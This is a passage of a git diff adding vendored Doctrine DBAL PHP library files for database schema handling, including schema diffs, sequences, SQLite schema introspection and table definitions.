/** + * @deprecated + * + * @param bool $flag + * + * @return void + */ + public function setExplicitForeignKeyIndexes($flag) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4822', + 'SchemaConfig::setExplicitForeignKeyIndexes() is deprecated.', + ); + + $this->hasExplicitForeignKeyIndexes = (bool) $flag; + } + + /** + * @param int $length + * + * @return void + */ + public function setMaxIdentifierLength($length) + { + $this->maxIdentifierLength = (int) $length; + } + + /** @return int */ + public function getMaxIdentifierLength() + { + return $this->maxIdentifierLength; + } + + /** + * Gets the default namespace of schema objects. + * + * @return string|null + */ + public function getName() + { + return $this->name; + } + + /** + * Sets the default namespace name of schema objects. + * + * @param string $name The value to set. + * + * @return void + */ + public function setName($name) + { + $this->name = $name; + } + + /** + * Gets the default options that are passed to Table instances created with + * Schema#createTable(). + * + * @return mixed[] + */ + public function getDefaultTableOptions() + { + return $this->defaultTableOptions; + } + + /** + * @param mixed[] $defaultTableOptions + * + * @return void + */ + public function setDefaultTableOptions(array $defaultTableOptions) + { + $this->defaultTableOptions = $defaultTableOptions; + } +} diff --git a/vendor/doctrine/dbal/src/Schema/SchemaDiff.php b/vendor/doctrine/dbal/src/Schema/SchemaDiff.php new file mode 100644 index 000000000..a6a866579 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/SchemaDiff.php @@ -0,0 +1,294 @@ + $createdSchemas + * @param array $droppedSchemas + * @param array $createdSequences + * @param array $alteredSequences + * @param array $droppedSequences + */ + public function __construct( + $newTables = [], + $changedTables = [], + $removedTables = [], + ?Schema $fromSchema = null, + $createdSchemas = [], + $droppedSchemas = [], + $createdSequences = [], + $alteredSequences = [], + $droppedSequences = [] + ) { + $this->newTables = $newTables; + + $this->changedTables = array_filter($changedTables, static function (TableDiff $diff): bool { + return ! $diff->isEmpty(); + }); + + $this->removedTables = $removedTables; + $this->fromSchema = $fromSchema; + $this->newNamespaces = $createdSchemas; + $this->removedNamespaces = $droppedSchemas; + $this->newSequences = $createdSequences; + $this->changedSequences = $alteredSequences; + $this->removedSequences = $droppedSequences; + } + + /** @return array */ + public function getCreatedSchemas(): array + { + return $this->newNamespaces; + } + + /** @return array */ + public function getDroppedSchemas(): array + { + return $this->removedNamespaces; + } + + /** @return array
    */ + public function getCreatedTables(): array + { + return $this->newTables; + } + + /** @return array */ + public function getAlteredTables(): array + { + return $this->changedTables; + } + + /** @return array
    */ + public function getDroppedTables(): array + { + return $this->removedTables; + } + + /** @return array */ + public function getCreatedSequences(): array + { + return $this->newSequences; + } + + /** @return array */ + public function getAlteredSequences(): array + { + return $this->changedSequences; + } + + /** @return array */ + public function getDroppedSequences(): array + { + return $this->removedSequences; + } + + /** + * Returns whether the diff is empty (contains no changes). + */ + public function isEmpty(): bool + { + return count($this->newNamespaces) === 0 + && count($this->removedNamespaces) === 0 + && count($this->newTables) === 0 + && count($this->changedTables) === 0 + && count($this->removedTables) === 0 + && count($this->newSequences) === 0 + && count($this->changedSequences) === 0 + && count($this->removedSequences) === 0; + } + + /** + * The to save sql mode ensures that the following things don't happen: + * + * 1. Tables are deleted + * 2. Sequences are deleted + * 3. Foreign Keys which reference tables that would otherwise be deleted. + * + * This way it is ensured that assets are deleted which might not be relevant to the metadata schema at all. + * + * @deprecated + * + * @return list + */ + public function toSaveSql(AbstractPlatform $platform) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5766', + '%s is deprecated.', + __METHOD__, + ); + + return $this->_toSql($platform, true); + } + + /** + * @deprecated Use {@link AbstractPlatform::getAlterSchemaSQL()} instead. + * + * @return list + */ + public function toSql(AbstractPlatform $platform) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5766', + '%s is deprecated. Use AbstractPlatform::getAlterSchemaSQL() instead.', + __METHOD__, + ); + + return $this->_toSql($platform, false); + } + + /** + * @param bool $saveMode + * + * @return list + */ + protected function _toSql(AbstractPlatform $platform, $saveMode = false) + { + $sql = []; + + if ($platform->supportsSchemas()) { + foreach ($this->getCreatedSchemas() as $schema) { + $sql[] = $platform->getCreateSchemaSQL($schema); + } + } + + if ($platform->supportsForeignKeyConstraints() && $saveMode === false) { + foreach ($this->orphanedForeignKeys as $orphanedForeignKey) { + $sql[] = $platform->getDropForeignKeySQL($orphanedForeignKey, $orphanedForeignKey->getLocalTable()); + } + } + + if ($platform->supportsSequences() === true) { + foreach ($this->getAlteredSequences() as $sequence) { + $sql[] = $platform->getAlterSequenceSQL($sequence); + } + + if ($saveMode === false) { + foreach ($this->getDroppedSequences() as $sequence) { + $sql[] = $platform->getDropSequenceSQL($sequence); + } + } + + foreach ($this->getCreatedSequences() as $sequence) { + $sql[] = $platform->getCreateSequenceSQL($sequence); + } + } + + $sql = array_merge($sql, $platform->getCreateTablesSQL($this->getCreatedTables())); + + if ($saveMode === false) { + $sql = array_merge($sql, $platform->getDropTablesSQL($this->getDroppedTables())); + } + + foreach ($this->getAlteredTables() as $tableDiff) { + $sql = array_merge($sql, $platform->getAlterTableSQL($tableDiff)); + } + + return $sql; + } +} diff --git a/vendor/doctrine/dbal/src/Schema/SchemaException.php b/vendor/doctrine/dbal/src/Schema/SchemaException.php new file mode 100644 index 000000000..4ec091f8d --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/SchemaException.php @@ -0,0 +1,204 @@ +_setName($name); + $this->setAllocationSize($allocationSize); + $this->setInitialValue($initialValue); + $this->cache = $cache; + } + + /** @return int */ + public function getAllocationSize() + { + return $this->allocationSize; + } + + /** @return int */ + public function getInitialValue() + { + return $this->initialValue; + } + + /** @return int|null */ + public function getCache() + { + return $this->cache; + } + + /** + * @param int $allocationSize + * + * @return Sequence + */ + public function setAllocationSize($allocationSize) + { + if ($allocationSize > 0) { + $this->allocationSize = $allocationSize; + } else { + $this->allocationSize = 1; + } + + return $this; + } + + /** + * @param int $initialValue + * + * @return Sequence + */ + public function setInitialValue($initialValue) + { + if ($initialValue > 0) { + $this->initialValue = $initialValue; + } else { + $this->initialValue = 1; + } + + return $this; + } + + /** + * @param int $cache + * + * @return Sequence + */ + public function setCache($cache) + { + $this->cache = $cache; + + return $this; + } + + /** + * Checks if this sequence is an autoincrement sequence for a given table. + * + * This is used inside the comparator to not report sequences as missing, + * when the "from" schema implicitly creates the sequences. + * + * @return bool + */ + public function isAutoIncrementsFor(Table $table) + { + $primaryKey = $table->getPrimaryKey(); + + if ($primaryKey === null) { + return false; + } + + $pkColumns = $primaryKey->getColumns(); + + if (count($pkColumns) !== 1) { + return false; + } + + $column = $table->getColumn($pkColumns[0]); + + if (! $column->getAutoincrement()) { + return false; + } + + $sequenceName = $this->getShortestName($table->getNamespaceName()); + $tableName = $table->getShortestName($table->getNamespaceName()); + $tableSequenceName = sprintf('%s_%s_seq', $tableName, $column->getShortestName($table->getNamespaceName())); + + return $tableSequenceName === $sequenceName; + } + + /** + * @deprecated + * + * @return void + */ + public function visit(Visitor $visitor) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5435', + 'Sequence::visit() is deprecated.', + ); + + $visitor->acceptSequence($this); + } +} diff --git a/vendor/doctrine/dbal/src/Schema/SqliteSchemaManager.php b/vendor/doctrine/dbal/src/Schema/SqliteSchemaManager.php new file mode 100644 index 000000000..13f5c5147 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/SqliteSchemaManager.php @@ -0,0 +1,790 @@ + + */ +class SqliteSchemaManager extends AbstractSchemaManager +{ + /** + * {@inheritDoc} + */ + public function listTableNames() + { + return $this->doListTableNames(); + } + + /** + * {@inheritDoc} + */ + public function listTables() + { + return $this->doListTables(); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see introspectTable()} instead. + */ + public function listTableDetails($name) + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5595', + '%s is deprecated. Use introspectTable() instead.', + __METHOD__, + ); + + return $this->doListTableDetails($name); + } + + /** + * {@inheritDoc} + */ + public function listTableColumns($table, $database = null) + { + return $this->doListTableColumns($table, $database); + } + + /** + * {@inheritDoc} + */ + public function listTableIndexes($table) + { + return $this->doListTableIndexes($table); + } + + /** + * {@inheritDoc} + */ + protected function fetchForeignKeyColumnsByTable(string $databaseName): array + { + $columnsByTable = parent::fetchForeignKeyColumnsByTable($databaseName); + + if (count($columnsByTable) > 0) { + foreach ($columnsByTable as $table => $columns) { + $columnsByTable[$table] = $this->addDetailsToTableForeignKeyColumns($table, $columns); + } + } + + return $columnsByTable; + } + + /** + * {@inheritDoc} + * + * @deprecated Delete the database file using the filesystem. + */ + public function dropDatabase($database) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4963', + 'SqliteSchemaManager::dropDatabase() is deprecated. Delete the database file using the filesystem.', + ); + + if (! file_exists($database)) { + return; + } + + unlink($database); + } + + /** + * {@inheritDoc} + * + * @deprecated The engine will create the database file automatically. + */ + public function createDatabase($database) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/issues/4963', + 'SqliteSchemaManager::createDatabase() is deprecated.' + . ' The engine will create the database file automatically.', + ); + + $params = $this->_conn->getParams(); + + $params['path'] = $database; + unset($params['memory']); + + $conn = DriverManager::getConnection($params); + $conn->connect(); + $conn->close(); + } + + /** + * {@inheritDoc} + */ + public function createForeignKey(ForeignKeyConstraint $foreignKey, $table) + { + if (! $table instanceof Table) { + $table = $this->listTableDetails($table); + } + + $this->alterTable(new TableDiff($table->getName(), [], [], [], [], [], [], $table, [$foreignKey])); + } + + /** + * {@inheritDoc} + * + * @deprecated Use {@see dropForeignKey()} and {@see createForeignKey()} instead. + */ + public function dropAndCreateForeignKey(ForeignKeyConstraint $foreignKey, $table) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4897', + 'SqliteSchemaManager::dropAndCreateForeignKey() is deprecated.' + . ' Use SqliteSchemaManager::dropForeignKey() and SqliteSchemaManager::createForeignKey() instead.', + ); + + if (! $table instanceof Table) { + $table = $this->listTableDetails($table); + } + + $this->alterTable(new TableDiff($table->getName(), [], [], [], [], [], [], $table, [], [$foreignKey])); + } + + /** + * {@inheritDoc} + */ + public function dropForeignKey($foreignKey, $table) + { + if (! $table instanceof Table) { + $table = $this->listTableDetails($table); + } + + $this->alterTable(new TableDiff($table->getName(), [], [], [], [], [], [], $table, [], [], [$foreignKey])); + } + + /** + * {@inheritDoc} + */ + public function listTableForeignKeys($table, $database = null) + { + $table = $this->normalizeName($table); + + $columns = $this->selectForeignKeyColumns('', $table) + ->fetchAllAssociative(); + + if (count($columns) > 0) { + $columns = $this->addDetailsToTableForeignKeyColumns($table, $columns); + } + + return $this->_getPortableTableForeignKeysList($columns); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableDefinition($table) + { + return $table['table_name']; + } + + /** + * {@inheritDoc} + * + * @link http://ezcomponents.org/docs/api/trunk/DatabaseSchema/ezcDbSchemaPgsqlReader.html + */ + protected function _getPortableTableIndexesList($tableIndexes, $tableName = null) + { + $indexBuffer = []; + + // fetch primary + $indexArray = $this->_conn->fetchAllAssociative('SELECT * FROM PRAGMA_TABLE_INFO (?)', [$tableName]); + + usort( + $indexArray, + /** + * @param array $a + * @param array $b + */ + static function (array $a, array $b): int { + if ($a['pk'] === $b['pk']) { + return $a['cid'] - $b['cid']; + } + + return $a['pk'] - $b['pk']; + }, + ); + + foreach ($indexArray as $indexColumnRow) { + if ($indexColumnRow['pk'] === 0 || $indexColumnRow['pk'] === '0') { + continue; + } + + $indexBuffer[] = [ + 'key_name' => 'primary', + 'primary' => true, + 'non_unique' => false, + 'column_name' => $indexColumnRow['name'], + ]; + } + + // fetch regular indexes + foreach ($tableIndexes as $tableIndex) { + // Ignore indexes with reserved names, e.g. autoindexes + if (strpos($tableIndex['name'], 'sqlite_') === 0) { + continue; + } + + $keyName = $tableIndex['name']; + $idx = []; + $idx['key_name'] = $keyName; + $idx['primary'] = false; + $idx['non_unique'] = ! $tableIndex['unique']; + + $indexArray = $this->_conn->fetchAllAssociative('SELECT * FROM PRAGMA_INDEX_INFO (?)', [$keyName]); + + foreach ($indexArray as $indexColumnRow) { + $idx['column_name'] = $indexColumnRow['name']; + $indexBuffer[] = $idx; + } + } + + return parent::_getPortableTableIndexesList($indexBuffer, $tableName); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableColumnList($table, $database, $tableColumns) + { + $list = parent::_getPortableTableColumnList($table, $database, $tableColumns); + + // find column with autoincrement + $autoincrementColumn = null; + $autoincrementCount = 0; + + foreach ($tableColumns as $tableColumn) { + if ($tableColumn['pk'] === 0 || $tableColumn['pk'] === '0') { + continue; + } + + $autoincrementCount++; + if ($autoincrementColumn !== null || strtolower($tableColumn['type']) !== 'integer') { + continue; + } + + $autoincrementColumn = $tableColumn['name']; + } + + if ($autoincrementCount === 1 && $autoincrementColumn !== null) { + foreach ($list as $column) { + if ($autoincrementColumn !== $column->getName()) { + continue; + } + + $column->setAutoincrement(true); + } + } + + // inspect column collation and comments + $createSql = $this->getCreateTableSQL($table); + + foreach ($list as $columnName => $column) { + $type = $column->getType(); + + if ($type instanceof StringType || $type instanceof TextType) { + $column->setPlatformOption( + 'collation', + $this->parseColumnCollationFromSQL($columnName, $createSql) ?? 'BINARY', + ); + } + + $comment = $this->parseColumnCommentFromSQL($columnName, $createSql); + + if ($comment === null) { + continue; + } + + $type = $this->extractDoctrineTypeFromComment($comment, ''); + + if ($type !== '') { + $column->setType(Type::getType($type)); + + $comment = $this->removeDoctrineTypeFromComment($comment, $type); + } + + $column->setComment($comment); + } + + return $list; + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableColumnDefinition($tableColumn) + { + $parts = explode('(', $tableColumn['type']); + $tableColumn['type'] = trim($parts[0]); + if (isset($parts[1])) { + $length = trim($parts[1], ')'); + $tableColumn['length'] = $length; + } + + $dbType = strtolower($tableColumn['type']); + $length = $tableColumn['length'] ?? null; + $unsigned = false; + + if (strpos($dbType, ' unsigned') !== false) { + $dbType = str_replace(' unsigned', '', $dbType); + $unsigned = true; + } + + $fixed = false; + $type = $this->_platform->getDoctrineTypeMapping($dbType); + $default = $tableColumn['dflt_value']; + if ($default === 'NULL') { + $default = null; + } + + if ($default !== null) { + // SQLite returns the default value as a literal expression, so we need to parse it + if (preg_match('/^\'(.*)\'$/s', $default, $matches) === 1) { + $default = str_replace("''", "'", $matches[1]); + } + } + + $notnull = (bool) $tableColumn['notnull']; + + if (! isset($tableColumn['name'])) { + $tableColumn['name'] = ''; + } + + $precision = null; + $scale = null; + + switch ($dbType) { + case 'char': + $fixed = true; + break; + case 'float': + case 'double': + case 'real': + case 'decimal': + case 'numeric': + if (isset($tableColumn['length'])) { + if (strpos($tableColumn['length'], ',') === false) { + $tableColumn['length'] .= ',0'; + } + + [$precision, $scale] = array_map('trim', explode(',', $tableColumn['length'])); + } + + $length = null; + break; + } + + $options = [ + 'length' => $length, + 'unsigned' => $unsigned, + 'fixed' => $fixed, + 'notnull' => $notnull, + 'default' => $default, + 'precision' => $precision, + 'scale' => $scale, + ]; + + return new Column($tableColumn['name'], Type::getType($type), $options); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableViewDefinition($view) + { + return new View($view['name'], $view['sql']); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableForeignKeysList($tableForeignKeys) + { + $list = []; + foreach ($tableForeignKeys as $value) { + $value = array_change_key_case($value, CASE_LOWER); + $id = $value['id']; + if (! isset($list[$id])) { + if (! isset($value['on_delete']) || $value['on_delete'] === 'RESTRICT') { + $value['on_delete'] = null; + } + + if (! isset($value['on_update']) || $value['on_update'] === 'RESTRICT') { + $value['on_update'] = null; + } + + $list[$id] = [ + 'name' => $value['constraint_name'], + 'local' => [], + 'foreign' => [], + 'foreignTable' => $value['table'], + 'onDelete' => $value['on_delete'], + 'onUpdate' => $value['on_update'], + 'deferrable' => $value['deferrable'], + 'deferred' => $value['deferred'], + ]; + } + + $list[$id]['local'][] = $value['from']; + + if ($value['to'] === null) { + // Inferring a shorthand form for the foreign key constraint, where the "to" field is empty. + // @see https://www.sqlite.org/foreignkeys.html#fk_indexes. + $foreignTableIndexes = $this->_getPortableTableIndexesList([], $value['table']); + + if (! isset($foreignTableIndexes['primary'])) { + continue; + } + + $list[$id]['foreign'] = [...$list[$id]['foreign'], ...$foreignTableIndexes['primary']->getColumns()]; + + continue; + } + + $list[$id]['foreign'][] = $value['to']; + } + + return parent::_getPortableTableForeignKeysList($list); + } + + /** + * {@inheritDoc} + */ + protected function _getPortableTableForeignKeyDefinition($tableForeignKey): ForeignKeyConstraint + { + return new ForeignKeyConstraint( + $tableForeignKey['local'], + $tableForeignKey['foreignTable'], + $tableForeignKey['foreign'], + $tableForeignKey['name'], + [ + 'onDelete' => $tableForeignKey['onDelete'], + 'onUpdate' => $tableForeignKey['onUpdate'], + 'deferrable' => $tableForeignKey['deferrable'], + 'deferred' => $tableForeignKey['deferred'], + ], + ); + } + + private function parseColumnCollationFromSQL(string $column, string $sql): ?string + { + $pattern = '{(?:\W' . preg_quote($column) . '\W|\W' + . preg_quote($this->_platform->quoteSingleIdentifier($column)) + . '\W)[^,(]+(?:\([^()]+\)[^,]*)?(?:(?:DEFAULT|CHECK)\s*(?:\(.*?\))?[^,]*)*COLLATE\s+["\']?([^\s,"\')]+)}is'; + + if (preg_match($pattern, $sql, $match) !== 1) { + return null; + } + + return $match[1]; + } + + private function parseTableCommentFromSQL(string $table, string $sql): ?string + { + $pattern = '/\s* # Allow whitespace characters at start of line +CREATE\sTABLE # Match "CREATE TABLE" +(?:\W"' . preg_quote($this->_platform->quoteSingleIdentifier($table), '/') . '"\W|\W' . preg_quote($table, '/') + . '\W) # Match table name (quoted and unquoted) +( # Start capture + (?:\s*--[^\n]*\n?)+ # Capture anything that starts with whitespaces followed by -- until the end of the line(s) +)/ix'; + + if (preg_match($pattern, $sql, $match) !== 1) { + return null; + } + + $comment = preg_replace('{^\s*--}m', '', rtrim($match[1], "\n")); + + return $comment === '' ? null : $comment; + } + + private function parseColumnCommentFromSQL(string $column, string $sql): ?string + { + $pattern = '{[\s(,](?:\W' . preg_quote($this->_platform->quoteSingleIdentifier($column)) + . '\W|\W' . preg_quote($column) . '\W)(?:\([^)]*?\)|[^,(])*?,?((?:(?!\n))(?:\s*--[^\n]*\n?)+)}i'; + + if (preg_match($pattern, $sql, $match) !== 1) { + return null; + } + + $comment = preg_replace('{^\s*--}m', '', rtrim($match[1], "\n")); + + return $comment === '' ? null : $comment; + } + + /** @throws Exception */ + private function getCreateTableSQL(string $table): string + { + $sql = $this->_conn->fetchOne( + <<<'SQL' +SELECT sql + FROM ( + SELECT * + FROM sqlite_master + UNION ALL + SELECT * + FROM sqlite_temp_master + ) +WHERE type = 'table' +AND name = ? +SQL + , + [$table], + ); + + if ($sql !== false) { + return $sql; + } + + return ''; + } + + /** + * @param list> $columns + * + * @return list> + * + * @throws Exception + */ + private function addDetailsToTableForeignKeyColumns(string $table, array $columns): array + { + $foreignKeyDetails = $this->getForeignKeyDetails($table); + $foreignKeyCount = count($foreignKeyDetails); + + foreach ($columns as $i => $column) { + // SQLite identifies foreign keys in reverse order of appearance in SQL + $columns[$i] = array_merge($column, $foreignKeyDetails[$foreignKeyCount - $column['id'] - 1]); + } + + return $columns; + } + + /** + * @param string $table + * + * @return list> + * + * @throws Exception + */ + private function getForeignKeyDetails($table) + { + $createSql = $this->getCreateTableSQL($table); + + if ( + preg_match_all( + '# + (?:CONSTRAINT\s+(\S+)\s+)? + (?:FOREIGN\s+KEY[^)]+\)\s*)? + REFERENCES\s+\S+\s*(?:\([^)]+\))? + (?: + [^,]*? + (NOT\s+DEFERRABLE|DEFERRABLE) + (?:\s+INITIALLY\s+(DEFERRED|IMMEDIATE))? + )?#isx', + $createSql, + $match, + ) === 0 + ) { + return []; + } + + $names = $match[1]; + $deferrable = $match[2]; + $deferred = $match[3]; + $details = []; + + for ($i = 0, $count = count($match[0]); $i < $count; $i++) { + $details[] = [ + 'constraint_name' => isset($names[$i]) && $names[$i] !== '' ? $names[$i] : null, + 'deferrable' => isset($deferrable[$i]) && strcasecmp($deferrable[$i], 'deferrable') === 0, + 'deferred' => isset($deferred[$i]) && strcasecmp($deferred[$i], 'deferred') === 0, + ]; + } + + return $details; + } + + public function createComparator(): Comparator + { + return new SQLite\Comparator($this->_platform); + } + + /** + * {@inheritDoc} + * + * @deprecated + */ + public function getSchemaSearchPaths() + { + Deprecation::triggerIfCalledFromOutside( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/4821', + 'SqliteSchemaManager::getSchemaSearchPaths() is deprecated.', + ); + + // SQLite does not support schemas or databases + return []; + } + + protected function selectTableNames(string $databaseName): Result + { + $sql = <<<'SQL' +SELECT name AS table_name +FROM sqlite_master +WHERE type = 'table' + AND name != 'sqlite_sequence' + AND name != 'geometry_columns' + AND name != 'spatial_ref_sys' +UNION ALL +SELECT name +FROM sqlite_temp_master +WHERE type = 'table' +ORDER BY name +SQL; + + return $this->_conn->executeQuery($sql); + } + + protected function selectTableColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = <<<'SQL' + SELECT t.name AS table_name, + c.* + FROM sqlite_master t + JOIN pragma_table_info(t.name) c +SQL; + + $conditions = [ + "t.type = 'table'", + "t.name NOT IN ('geometry_columns', 'spatial_ref_sys', 'sqlite_sequence')", + ]; + $params = []; + + if ($tableName !== null) { + $conditions[] = 't.name = ?'; + $params[] = str_replace('.', '__', $tableName); + } + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ' ORDER BY t.name, c.cid'; + + return $this->_conn->executeQuery($sql, $params); + } + + protected function selectIndexColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = <<<'SQL' + SELECT t.name AS table_name, + i.* + FROM sqlite_master t + JOIN pragma_index_list(t.name) i +SQL; + + $conditions = [ + "t.type = 'table'", + "t.name NOT IN ('geometry_columns', 'spatial_ref_sys', 'sqlite_sequence')", + ]; + $params = []; + + if ($tableName !== null) { + $conditions[] = 't.name = ?'; + $params[] = str_replace('.', '__', $tableName); + } + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ' ORDER BY t.name, i.seq'; + + return $this->_conn->executeQuery($sql, $params); + } + + protected function selectForeignKeyColumns(string $databaseName, ?string $tableName = null): Result + { + $sql = <<<'SQL' + SELECT t.name AS table_name, + p.* + FROM sqlite_master t + JOIN pragma_foreign_key_list(t.name) p + ON p."seq" != "-1" +SQL; + + $conditions = [ + "t.type = 'table'", + "t.name NOT IN ('geometry_columns', 'spatial_ref_sys', 'sqlite_sequence')", + ]; + $params = []; + + if ($tableName !== null) { + $conditions[] = 't.name = ?'; + $params[] = str_replace('.', '__', $tableName); + } + + $sql .= ' WHERE ' . implode(' AND ', $conditions) . ' ORDER BY t.name, p.id DESC, p.seq'; + + return $this->_conn->executeQuery($sql, $params); + } + + /** + * {@inheritDoc} + */ + protected function fetchTableOptionsByTable(string $databaseName, ?string $tableName = null): array + { + if ($tableName === null) { + $tables = $this->listTableNames(); + } else { + $tables = [$tableName]; + } + + $tableOptions = []; + foreach ($tables as $table) { + $comment = $this->parseTableCommentFromSQL($table, $this->getCreateTableSQL($table)); + + if ($comment === null) { + continue; + } + + $tableOptions[$table]['comment'] = $comment; + } + + return $tableOptions; + } +} diff --git a/vendor/doctrine/dbal/src/Schema/Table.php b/vendor/doctrine/dbal/src/Schema/Table.php new file mode 100644 index 000000000..ce4cc3260 --- /dev/null +++ b/vendor/doctrine/dbal/src/Schema/Table.php @@ -0,0 +1,1041 @@ + [], + ]; + + /** @var SchemaConfig|null */ + protected $_schemaConfig; + + /** @var Index[] */ + private array $implicitIndexes = []; + + /** + * @param Column[] $columns + * @param Index[] $indexes + * @param UniqueConstraint[] $uniqueConstraints + * @param ForeignKeyConstraint[] $fkConstraints + * @param mixed[] $options + * + * @throws SchemaException + * @throws Exception + */ + public function __construct( + string $name, + array $columns = [], + array $indexes = [], + array $uniqueConstraints = [], + array $fkConstraints = [], + array $options = [] + ) { + if ($name === '') { + throw InvalidTableName::new($name); + } + + $this->_setName($name); + + foreach ($columns as $column) { + $this->_addColumn($column); + } + + foreach ($indexes as $idx) { + $this->_addIndex($idx); + } + + foreach ($uniqueConstraints as $uniqueConstraint) { + $this->_addUniqueConstraint($uniqueConstraint); + } + + foreach ($fkConstraints as $constraint) { + $this->_addForeignKeyConstraint($constraint); + } + + $this->_options = array_merge($this->_options, $options); + } + + /** @return void */ + public function setSchemaConfig(SchemaConfig $schemaConfig) + { + $this->_schemaConfig = $schemaConfig; + } + + /** @return int */ + protected function _getMaxIdentifierLength() + { + if ($this->_schemaConfig instanceof SchemaConfig) { + return $this->_schemaConfig->getMaxIdentifierLength(); + } + + return 63; + } + + /** + * Sets the Primary Key. + * + * @param string[] $columnNames + * @param string|false $indexName + * + * @return self + * + * @throws SchemaException + */ + public function setPrimaryKey(array $columnNames, $indexName = false) + { + if ($indexName === false) { + $indexName = 'primary'; + } + + $this->_addIndex($this->_createIndex($columnNames, $indexName, true, true)); + + foreach ($columnNames as $columnName) { + $column = $this->getColumn($columnName); + $column->setNotnull(true); + } + + return $this; + } + + /** + * @param string[] $columnNames + * @param string[] $flags + * @param mixed[] $options + * + * @return self + * + * @throws SchemaException + */ + public function addIndex(array $columnNames, ?string $indexName = null, array $flags = [], array $options = []) + { + $indexName ??= $this->_generateIdentifierName( + array_merge([$this->getName()], $columnNames), + 'idx', + $this->_getMaxIdentifierLength(), + ); + + return $this->_addIndex($this->_createIndex($columnNames, $indexName, false, false, $flags, $options)); + } + + /** + * @param string[] $columnNames + * @param string[] $flags + * @param mixed[] $options + * + * @return self + */ + public function addUniqueConstraint( + array $columnNames, + ?string $indexName = null, + array $flags = [], + array $options = [] + ): Table { + $indexName ??= $this->_generateIdentifierName( + array_merge([$this->getName()], $columnNames), + 'uniq', + $this->_getMaxIdentifierLength(), + ); + + return $this->_addUniqueConstraint($this->_createUniqueConstraint($columnNames, $indexName, $flags, $options)); + } + + /** + * Drops the primary key from this table. + * + * @return void + * + * @throws SchemaException + */ + public function dropPrimaryKey() + { + if ($this->_primaryKeyName === null) { + return; + } + + $this->dropIndex($this->_primaryKeyName); + $this->_primaryKeyName = null; + } + + /** + * Drops an index from this table. + * + * @param string $name The index name. + * + * @return void + * + * @throws SchemaException If the index does not exist. + */ + public function dropIndex($name) + { + $name = $this->normalizeIdentifier($name); + + if (! $this->hasIndex($name)) { + throw SchemaException::indexDoesNotExist($name, $this->_name); + } + + unset($this->_indexes[$name]); + } + + /** + * @param string[] $columnNames + * @param string|null $indexName + * @param mixed[] $options + * + * @return self + * + * @throws SchemaException + */ + public function addUniqueIndex(array $columnNames, $indexName = null, array $options = []) + { + $indexName ??= $this->_generateIdentifierName( + array_merge([$this->getName()], $columnNames), + 'uniq', + $this->_getMaxIdentifierLength(), + ); + + return $this->_addIndex($this->_createIndex($columnNames, $indexName, true, false, [], $options)); + } + + /** + * Renames an index. + * + * @param string $oldName The name of the index to rename from. + * @param string|null $newName The name of the index to rename to. + * If null is given, the index name will be auto-generated. + * + * @return self This table instance. + * + * @throws SchemaException If no index exists for the given current name + * or if an index with the given new name already exists on this table. + */ + public function renameIndex($oldName, $newName = null) + { + $oldName = $this->normalizeIdentifier($oldName); + $normalizedNewName = $this->normalizeIdentifier($newName); + + if ($oldName === $normalizedNewName) { + return $this; + } + + if (! $this->hasIndex($oldName)) { + throw SchemaException::indexDoesNotExist($oldName, $this->_name); + } + + if ($this->hasIndex($normalizedNewName)) { + throw SchemaException::indexAlreadyExists($normalizedNewName, $this->_name); + } + + $oldIndex = $this->_indexes[$oldName]; + + if ($oldIndex->isPrimary()) { + $this->dropPrimaryKey(); + + return $this->setPrimaryKey($oldIndex->getColumns(), $newName ?? false); + } + + unset($this->_indexes[$oldName]); + + if ($oldIndex->isUnique()) { + return $this->addUniqueIndex($oldIndex->getColumns(), $newName, $oldIndex->getOptions()); + } + + return $this->addIndex($oldIndex->getColumns(), $newName, $oldIndex->getFlags(), $oldIndex->getOptions()); + } + + /** + * Checks if an index begins in the order of the given columns. + * + * @param string[] $columnNames + * + * @return bool + */ + public function columnsAreIndexed(array $columnNames) + { + foreach ($this->getIndexes() as $index) { + if ($index->spansColumns($columnNames)) { + return true; + } + } + + return false; + } + + /** + * @param string[] $columnNames + * @param string $indexName + * @param bool $isUnique + * @param bool $isPrimary + * @param string[] $flags + * @param mixed[] $options + * + * @throws SchemaException + */ + private function _createIndex( + array $columnNames, + $indexName, + $isUnique, + $isPrimary, + array $flags = [], + array $options = [] + ): Index { + if (preg_match('(([^a-zA-Z0-9_]+))', $this->normalizeIdentifier($indexName)) === 1) { + throw SchemaException::indexNameInvalid($indexName); + } + + foreach ($columnNames as $columnName) { + if (! $this->hasColumn($columnName)) { + throw SchemaException::columnDoesNotExist($columnName, $this->_name); + } + } + + return new Index($indexName, $columnNames, $isUnique, $isPrimary, $flags, $options); + } + + /** + * @param string $name + * @param string $typeName + * @param mixed[] $options + * + * @return Column + * + * @throws SchemaException + */ + public function addColumn($name, $typeName, array $options = []) + { + $column = new Column($name, Type::getType($typeName), $options); + + $this->_addColumn($column); + + return $column; + } + + /** + * Change Column Details. + * + * @deprecated Use {@link modifyColumn()} instead. + * + * @param string $name + * @param mixed[] $options + * + * @return self + * + * @throws SchemaException + */ + public function changeColumn($name, array $options) + { + Deprecation::trigger( + 'doctrine/dbal', + 'https://github.com/doctrine/dbal/pull/5747', + '%s is deprecated. Use modifyColumn() instead.', + __METHOD__, + ); + + return 